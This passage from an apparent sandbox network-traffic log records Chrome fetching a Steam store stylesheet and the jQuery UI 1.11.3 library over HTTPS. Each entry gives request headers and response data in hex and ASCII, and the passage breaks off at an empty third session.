16px;background-image:url('https://store.akamai.steamstatic.com/public/shared/images/buttons/icon_double_arrows.png');vertical-align: middle;}.btn_details_arrow.up{background-position: 0px 0px;}.btn_details:not(.btn_disa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49781	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:02 UTC	554	OUT	GET /public/css/v6/store.css?v=z0n7Kqde-Ths&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:03 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "Rzrd3uCdRpEQ" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Mon, 07 Oct 2024 06:47:03 GMT Date: Mon, 07 Oct 2024 06:47:03 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-07 06:47:03 UTC	15992	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 2a 20 7b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 7d 0d 0a 0d 0a 69 6d 67 20 7b 0d 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 61 20 7b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 2e 61 3a 66 6f 63 75 73 20 7b 0d 0a 09 6f 75 74 6c 69 6e 65 3a 20 30 70 78 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 61 3a 68 6f 76 65 72 20 7b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 63 30 66 34 3b 0d 0a 7d 0d 0a 0d 0a 61 2e 6e 6f 68 6f 76 65 72 3a 68 6f 76 65 72 20 7b 0d 0a 09 74 Data Ascii: 0000C000* {padding: 0;margin: 0;}img {border: none;}a {text-decoration: none;color: #ffffff;}.a:focus {outline: 0px none;}a:hover {text-decoration: none; color: #66c0f4;}a.nohover:hover {t
2024-10-07 06:47:03 UTC	15849	IN	Data Raw: 2d 72 6f 77 73 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 61 72 65 61 73 3a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 69 6d 67 20 69 6d 67 20 6e 61 6d 65 20 6e 61 6d 65 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 69 6d 67 20 69 6d 67 20 70 72 69 63 65 20 70 72 69 63 65 22 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 75 6e 73 65 74 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 62 61 63 6b 67 72 6f 75 6e 64 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0d 0a 7d 0d 0a 2e 70 6f 70 75 70 5f 62 6f 64 79 2e 73 65 61 72 63 68 5f 76 32 20 2e 6d 61 74 63 68 2e 6d 61 74 63 68 5f 76 32 20 2e 6d 61 74 63 68 5f 6e 61 6d 65 20 7b 0d 0a 20 20 20 20 67 72 69 64 2d 61 72 65 61 3a 20 6e 61 6d 65 3b 0d 0a 20 20 Data Ascii: -rows: auto; grid-template-areas: "img img name name" "img img price price"; height: unset; transition: background 0.2s ease-in-out;}.popup_body.search_v2 .match.match_v2 .match_name { grid-area: name;
2024-10-07 06:47:03 UTC	16384	IN	Data Raw: 6f 76 65 72 20 2e 61 64 64 69 74 69 6f 6e 61 6c 5f 63 61 72 74 5f 64 69 73 63 6f 75 6e 74 2c 0d 0a 2e 73 74 6f 72 65 5f 63 61 70 73 75 6c 65 3a 68 6f 76 65 72 20 2e 61 64 64 69 74 69 6f 6e 61 6c 5f 63 61 72 74 5f 64 69 73 63 6f 75 6e 74 2c 0d 0a 2e 68 6f 6d 65 5f 6d 61 72 6b 65 74 69 6e 67 5f 6d 65 73 73 61 67 65 3a 68 6f 76 65 72 20 2e 61 64 64 69 74 69 6f 6e 61 6c 5f 63 61 72 74 5f 64 69 73 63 6f 75 6e 74 2c 0d 0a 2e 73 74 6f 72 65 5f 63 61 70 73 75 6c 65 2e 62 72 6f 61 64 63 61 73 74 5f 63 61 70 73 75 6c 65 3a 68 6f 76 65 72 20 63 20 7b 0d 0a 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 61 6e 69 6d 61 74 65 50 72 69 63 65 31 31 64 65 67 3b 0d 0a 7d 0d 0a 0d 0a 2e 73 6d 61 6c 6c 5f 63 61 70 3a 68 6f 76 65 72 20 2e 61 64 64 69 74 69 6f 6e 61 6c 5f Data Ascii: over .additional_cart_discount,.store_capsule:hover .additional_cart_discount,.home_marketing_message:hover .additional_cart_discount,.store_capsule.broadcast_capsule:hover c {animation-name: animatePrice11deg;}.small_cap:hover .additional_
2024-10-07 06:47:03 UTC	939	IN	Data Raw: 0a 09 7b 0d 0a 09 09 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 30 64 65 67 29 20 73 63 61 6c 65 28 2e 33 29 3b 0d 0a 09 7d 0d 0a 0d 0a 09 32 30 25 0d 0a 09 7b 0d 0a 09 09 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 33 36 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 0d 0a 09 7d 0d 0a 0d 0a 09 34 30 25 0d 0a 09 7b 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 37 32 30 64 65 67 29 20 73 63 61 6c 65 28 2e 33 29 3b 0d 0a 09 7d 0d 0a 0d 0a 09 31 30 30 25 0d 0a 09 7b 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 37 32 Data Ascii: {opacity: 0;transform: rotateZ(0deg) scale(.3);}20%{opacity: 1;transform: rotateZ(360deg) scale(1);}40%{ opacity: 0;transform: rotateZ(720deg) scale(.3);}100%{ opacity: 0;transform: rotateZ(72
2024-10-07 06:47:03 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 59 65 6c 6c 6f 77 74 61 69 6c 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0d 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 38 70 78 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 46 42 46 36 46 30 3b 0d 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 32 70 78 20 33 70 78 20 30 70 78 20 23 44 33 35 31 31 30 3b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 7d 0d 0a 0d 0a 2e 73 75 6d 6d 65 72 73 61 6c 65 32 30 32 30 5f 73 75 70 65 72 73 61 76 69 6e 67 73 5f 6c 61 62 65 6c 0d 0a 7b 0d 0a 09 77 69 64 74 68 3a 20 66 69 74 2d 63 6f 6e 74 65 6e 74 Data Ascii: 00004000font-family: "Yellowtail", sans-serif;font-style: normal;font-weight: normal;font-size: 38px;color: #FBF6F0;text-shadow: 2px 3px 0px #D35110;text-align: center;}.summersale2020_supersavings_label{width: fit-content
2024-10-07 06:47:03 UTC	12	IN	Data Raw: 69 64 74 68 3a 20 31 30 30 25 0d 0a Data Ascii: idth: 100%
2024-10-07 06:47:03 UTC	4625	IN	Data Raw: 30 30 30 30 31 32 30 35 0d 0a 3b 20 2f 2a 20 52 65 64 75 6e 64 61 6e 74 20 3f 3f 20 2a 2f 0d 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 20 63 65 6e 74 65 72 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 33 30 30 6d 73 3b 0d 0a 09 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 72 65 65 6e 73 68 6f 74 5f 68 6f 76 65 72 5f 66 61 64 65 69 6e 20 34 73 20 6c 69 6e 65 61 72 3b 0d 0a 09 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 69 6e 66 69 6e 69 74 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 6f 76 65 72 5f 73 63 Data Ascii: 00001205; /* Redundant ?? */height: 100%;background-size: cover;background-position: center center;opacity: 0;transition: opacity 300ms;animation: screenshot_hover_fadein 4s linear;animation-iteration-count:infinite;}.hover_sc
2024-10-07 06:47:03 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 27 20 29 3b 0d 0a 7d 0d 0a 0d 0a 2e 66 72 69 65 6e 64 5f 73 74 61 74 75 73 5f 6f 6e 6c 69 6e 65 20 2e 66 72 69 65 6e 64 5f 62 6c 6f 63 6b 5f 61 76 61 74 61 72 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 20 27 2f 70 75 62 6c 69 63 2f 69 6d 61 67 65 73 2f 63 6f 6d 6d 75 6e 69 74 79 6c 69 6e 6b 2f 69 63 6f 6e 68 6f 6c 64 65 72 5f 6f 6e 6c 69 6e 65 2e 6a 70 67 27 20 29 3b 0d 0a 7d 0d 0a 0d 0a 2e 66 72 69 65 6e 64 5f 73 74 61 74 75 73 5f 69 6e 2d 67 61 6d 65 20 2e 66 72 69 65 6e 64 5f 62 6c 6f 63 6b 5f 61 76 61 74 61 72 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 20 27 2f 70 75 62 6c 69 63 2f 69 6d 61 67 65 73 2f 63 6f 6d 6d 75 6e 69 74 79 6c 69 6e 6b 2f 69 Data Ascii: 00004000' );}.friend_status_online .friend_block_avatar {background-image: url( '/public/images/communitylink/iconholder_online.jpg' );}.friend_status_in-game .friend_block_avatar {background-image: url( '/public/images/communitylink/i
2024-10-07 06:47:03 UTC	12	IN	Data Raw: 69 6c 65 5f 61 70 70 20 64 69 0d 0a Data Ascii: ile_app di
2024-10-07 06:47:03 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 76 23 73 74 6f 72 65 5f 68 65 61 64 65 72 20 2e 63 6f 6e 74 65 6e 74 20 7b 0d 0a 09 09 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 09 09 77 69 64 74 68 3a 20 61 75 74 6f 3b 0d 0a 09 09 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 09 7d 0d 0a 0d 0a 09 68 74 6d 6c 2e 72 65 73 70 6f 6e 73 69 76 65 2e 72 6e 5f 6d 6f 62 69 6c 65 5f 61 70 70 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 73 74 6f 72 65 5f 6f 76 65 72 6c 61 79 5f 76 69 73 69 62 6c 65 20 7b 0d 0a 09 09 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 68 69 64 64 65 6e 3b 0d 0a 09 09 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 09 09 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 20 6e 6f 6e Data Ascii: 00004000v#store_header .content {min-width: 0;width: auto;height: auto;margin-bottom: 0;}html.responsive.rn_mobile_app body.responsive_store_overlay_visible {overflow-y: hidden;touch-action: none;-ms-touch-action: non

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49784	151.101.130.137	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:02 UTC	501	OUT	GET /ui/1.11.3/jquery-ui.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:02 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 469790 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-72b1e" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 504218 Date: Mon, 07 Oct 2024 06:47:02 GMT X-Served-By: cache-lga21958-LGA, cache-ewr-kewr1740055-EWR X-Cache: HIT, HIT X-Cache-Hits: 3598, 0 X-Timer: S1728283623.819563,VS0,VE0 Vary: Accept-Encoding
2024-10-07 06:47:02 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 31 2e 33 20 2d 20 32 30 31 35 2d 30 32 2d 31 32 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 63 6f 72 65 2e 6a 73 2c 20 77 69 64 67 65 74 2e 6a 73 2c 20 6d 6f 75 73 65 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 61 63 63 6f 72 64 69 6f 6e 2e 6a 73 2c 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2e 6a 73 2c 20 62 75 74 74 6f 6e 2e 6a 73 2c 20 64 61 74 65 70 69 63 6b 65 72 2e 6a 73 2c 20 64 69 61 6c 6f 67 2e 6a 73 2c 20 64 72 61 67 67 61 62 6c 65 2e 6a 73 2c 20 64 72 6f 70 70 61 62 6c 65 2e 6a 73 2c 20 65 66 66 65 63 74 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6c 69 6e 64 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6f 75 6e 63 65 2e 6a 73 2c Data Ascii: /! jQuery UI - v1.11.3 - 2015-02-12 http://jqueryui.com* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js,
2024-10-07 06:47:02 UTC	1378	IN	Data Raw: 37 2c 0a 09 09 48 4f 4d 45 3a 20 33 36 2c 0a 09 09 4c 45 46 54 3a 20 33 37 2c 0a 09 09 50 41 47 45 5f 44 4f 57 4e 3a 20 33 34 2c 0a 09 09 50 41 47 45 5f 55 50 3a 20 33 33 2c 0a 09 09 50 45 52 49 4f 44 3a 20 31 39 30 2c 0a 09 09 52 49 47 48 54 3a 20 33 39 2c 0a 09 09 53 50 41 43 45 3a 20 33 32 2c 0a 09 09 54 41 42 3a 20 39 2c 0a 09 09 55 50 3a 20 33 38 0a 09 7d 0a 7d 29 3b 0a 0a 2f 2f 20 70 6c 75 67 69 6e 73 0a 24 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 0a 09 73 63 72 6f 6c 6c 50 61 72 65 6e 74 3a 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 63 6c 75 64 65 48 69 64 64 65 6e 20 29 20 7b 0a 09 09 76 61 72 20 70 6f 73 69 74 69 6f 6e 20 3d 20 74 68 69 73 2e 63 73 73 28 20 22 70 6f 73 69 74 69 6f 6e 22 20 29 2c 0a 09 09 09 65 78 63 6c 75 64 65 53 74 61 74 69 63 50 61 72 Data Ascii: 7,HOME: 36,LEFT: 37,PAGE_DOWN: 34,PAGE_UP: 33,PERIOD: 190,RIGHT: 39,SPACE: 32,TAB: 9,UP: 38}});// plugins$.fn.extend({scrollParent: function( includeHidden ) {var position = this.css( "position" ),excludeStaticPar
2024-10-07 06:47:02 UTC	1378	IN	Data Raw: 65 20 7c 7c 20 6d 61 70 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 21 3d 3d 20 22 6d 61 70 22 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 7d 0a 09 09 69 6d 67 20 3d 20 24 28 20 22 69 6d 67 5b 75 73 65 6d 61 70 3d 27 23 22 20 2b 20 6d 61 70 4e 61 6d 65 20 2b 20 22 27 5d 22 20 29 5b 20 30 20 5d 3b 0a 09 09 72 65 74 75 72 6e 20 21 21 69 6d 67 20 26 26 20 76 69 73 69 62 6c 65 28 20 69 6d 67 20 29 3b 0a 09 7d 0a 09 72 65 74 75 72 6e 20 28 20 2f 5e 28 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 7c 6f 62 6a 65 63 74 29 24 2f 2e 74 65 73 74 28 20 6e 6f 64 65 4e 61 6d 65 20 29 20 3f 0a 09 09 21 65 6c 65 6d 65 6e 74 2e 64 69 73 61 62 6c 65 64 20 3a 0a 09 09 22 61 22 20 Data Ascii: e \|\| map.nodeName.toLowerCase() !== "map" ) {return false;}img = $( "img[usemap='#" + mapName + "']" )[ 0 ];return !!img && visible( img );}return ( /^(input\|select\|textarea\|button\|object)$/.test( nodeName ) ?!element.disabled :"a"
2024-10-07 06:47:02 UTC	1378	IN	Data Raw: 22 4c 65 66 74 22 2c 20 22 52 69 67 68 74 22 20 5d 20 3a 20 5b 20 22 54 6f 70 22 2c 20 22 42 6f 74 74 6f 6d 22 20 5d 2c 0a 09 09 09 74 79 70 65 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 0a 09 09 09 6f 72 69 67 20 3d 20 7b 0a 09 09 09 09 69 6e 6e 65 72 57 69 64 74 68 3a 20 24 2e 66 6e 2e 69 6e 6e 65 72 57 69 64 74 68 2c 0a 09 09 09 09 69 6e 6e 65 72 48 65 69 67 68 74 3a 20 24 2e 66 6e 2e 69 6e 6e 65 72 48 65 69 67 68 74 2c 0a 09 09 09 09 6f 75 74 65 72 57 69 64 74 68 3a 20 24 2e 66 6e 2e 6f 75 74 65 72 57 69 64 74 68 2c 0a 09 09 09 09 6f 75 74 65 72 48 65 69 67 68 74 3a 20 24 2e 66 6e 2e 6f 75 74 65 72 48 65 69 67 68 74 0a 09 09 09 7d 3b 0a 0a 09 09 66 75 6e 63 74 69 6f 6e 20 72 65 64 75 63 65 28 20 65 6c 65 6d 2c 20 73 69 7a 65 2c Data Ascii: "Left", "Right" ] : [ "Top", "Bottom" ],type = name.toLowerCase(),orig = {innerWidth: $.fn.innerWidth,innerHeight: $.fn.innerHeight,outerWidth: $.fn.outerWidth,outerHeight: $.fn.outerHeight};function reduce( elem, size,
2024-10-07 06:47:02 UTC	1378	IN	Data Raw: 62 22 2c 20 22 61 22 20 29 2e 72 65 6d 6f 76 65 44 61 74 61 28 20 22 61 2d 62 22 20 29 2e 64 61 74 61 28 20 22 61 2d 62 22 20 29 20 29 20 7b 0a 09 24 2e 66 6e 2e 72 65 6d 6f 76 65 44 61 74 61 20 3d 20 28 66 75 6e 63 74 69 6f 6e 28 20 72 65 6d 6f 76 65 44 61 74 61 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 20 6b 65 79 20 29 20 7b 0a 09 09 09 69 66 20 28 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 72 65 6d 6f 76 65 44 61 74 61 2e 63 61 6c 6c 28 20 74 68 69 73 2c 20 24 2e 63 61 6d 65 6c 43 61 73 65 28 20 6b 65 79 20 29 20 29 3b 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 72 65 6d 6f 76 65 44 61 74 61 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 Data Ascii: b", "a" ).removeData( "a-b" ).data( "a-b" ) ) {$.fn.removeData = (function( removeData ) {return function( key ) {if ( arguments.length ) {return removeData.call( this, $.camelCase( key ) );} else {return removeData.call( this );
2024-10-07 06:47:02 UTC	1378	IN	Data Raw: 20 77 68 65 72 65 20 7a 2d 69 6e 64 65 78 20 69 73 20 69 67 6e 6f 72 65 64 20 62 79 20 74 68 65 20 62 72 6f 77 73 65 72 0a 09 09 09 09 2f 2f 20 54 68 69 73 20 6d 61 6b 65 73 20 62 65 68 61 76 69 6f 72 20 6f 66 20 74 68 69 73 20 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 73 69 73 74 65 6e 74 20 61 63 72 6f 73 73 20 62 72 6f 77 73 65 72 73 0a 09 09 09 09 2f 2f 20 57 65 62 4b 69 74 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 61 75 74 6f 20 69 66 20 74 68 65 20 65 6c 65 6d 65 6e 74 20 69 73 20 70 6f 73 69 74 69 6f 6e 65 64 0a 09 09 09 09 70 6f 73 69 74 69 6f 6e 20 3d 20 65 6c 65 6d 2e 63 73 73 28 20 22 70 6f 73 69 74 69 6f 6e 22 20 29 3b 0a 09 09 09 09 69 66 20 28 20 70 6f 73 69 74 69 6f 6e 20 3d 3d 3d 20 22 61 62 73 6f 6c 75 74 65 22 20 7c 7c 20 70 6f 73 69 74 Data Ascii: where z-index is ignored by the browser// This makes behavior of this function consistent across browsers// WebKit always returns auto if the element is positionedposition = elem.css( "position" );if ( position === "absolute" \|\| posit
2024-10-07 06:47:02 UTC	1378	IN	Data Raw: 20 29 20 7b 0a 09 09 09 09 73 65 74 5b 20 69 20 5d 5b 20 31 20 5d 2e 61 70 70 6c 79 28 20 69 6e 73 74 61 6e 63 65 2e 65 6c 65 6d 65 6e 74 2c 20 61 72 67 73 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 7d 3b 0a 0a 0a 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 55 49 20 57 69 64 67 65 74 20 31 2e 31 31 2e 33 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 68 Data Ascii: ) {set[ i ][ 1 ].apply( instance.element, args );}}}};/! jQuery UI Widget 1.11.3 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * h
2024-10-07 06:47:02 UTC	1378	IN	Data Raw: 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 20 7c 7c 20 7b 7d 3b 0a 09 65 78 69 73 74 69 6e 67 43 6f 6e 73 74 72 75 63 74 6f 72 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 5b 20 6e 61 6d 65 20 5d 3b 0a 09 63 6f 6e 73 74 72 75 63 74 6f 72 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 5b 20 6e 61 6d 65 20 5d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 6f 70 74 69 6f 6e 73 2c 20 65 6c 65 6d 65 6e 74 20 29 20 7b 0a 09 09 2f 2f 20 61 6c 6c 6f 77 20 69 6e 73 74 61 6e 74 69 61 74 69 6f 6e 20 77 69 74 68 6f 75 74 20 22 6e 65 77 22 20 6b 65 79 77 6f 72 64 0a 09 09 69 66 20 28 20 21 74 68 69 73 2e 5f 63 72 65 61 74 65 57 69 64 67 65 74 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 6e 65 77 20 63 6f 6e 73 74 72 Data Ascii: $[ namespace ] = $[ namespace ] \|\| {};existingConstructor = $[ namespace ][ name ];constructor = $[ namespace ][ name ] = function( options, element ) {// allow instantiation without "new" keywordif ( !this._createWidget ) {return new constr
2024-10-07 06:47:02 UTC	1378	IN	Data Raw: 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 5f 73 75 70 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 62 61 73 65 2e 70 72 6f 74 6f 74 79 70 65 5b 20 70 72 6f 70 20 5d 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 20 29 3b 0a 09 09 09 09 7d 2c 0a 09 09 09 09 5f 73 75 70 65 72 41 70 70 6c 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 61 72 67 73 20 29 20 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 62 61 73 65 2e 70 72 6f 74 6f 74 79 70 65 5b 20 70 72 6f 70 20 5d 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 73 20 29 3b 0a 09 09 09 09 7d 3b 0a 09 09 09 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 76 61 72 20 5f 5f 73 75 70 65 72 20 3d 20 74 68 69 73 2e 5f 73 75 70 65 72 Data Ascii: n() {var _super = function() {return base.prototype[ prop ].apply( this, arguments );},_superApply = function( args ) {return base.prototype[ prop ].apply( this, args );};return function() {var __super = this._super
2024-10-07 06:47:02 UTC	1378	IN	Data Raw: 20 63 68 69 6c 64 2e 70 72 6f 74 6f 74 79 70 65 3b 0a 0a 09 09 09 2f 2f 20 72 65 64 65 66 69 6e 65 20 74 68 65 20 63 68 69 6c 64 20 77 69 64 67 65 74 20 75 73 69 6e 67 20 74 68 65 20 73 61 6d 65 20 70 72 6f 74 6f 74 79 70 65 20 74 68 61 74 20 77 61 73 0a 09 09 09 2f 2f 20 6f 72 69 67 69 6e 61 6c 6c 79 20 75 73 65 64 2c 20 62 75 74 20 69 6e 68 65 72 69 74 20 66 72 6f 6d 20 74 68 65 20 6e 65 77 20 76 65 72 73 69 6f 6e 20 6f 66 20 74 68 65 20 62 61 73 65 0a 09 09 09 24 2e 77 69 64 67 65 74 28 20 63 68 69 6c 64 50 72 6f 74 6f 74 79 70 65 2e 6e 61 6d 65 73 70 61 63 65 20 2b 20 22 2e 22 20 2b 20 63 68 69 6c 64 50 72 6f 74 6f 74 79 70 65 2e 77 69 64 67 65 74 4e 61 6d 65 2c 20 63 6f 6e 73 74 72 75 63 74 6f 72 2c 20 63 68 69 6c 64 2e 5f 70 72 6f 74 6f 20 29 3b 0a Data Ascii: child.prototype;// redefine the child widget using the same prototype that was// originally used, but inherit from the new version of the base$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto );

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49785	104.17.25.14	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
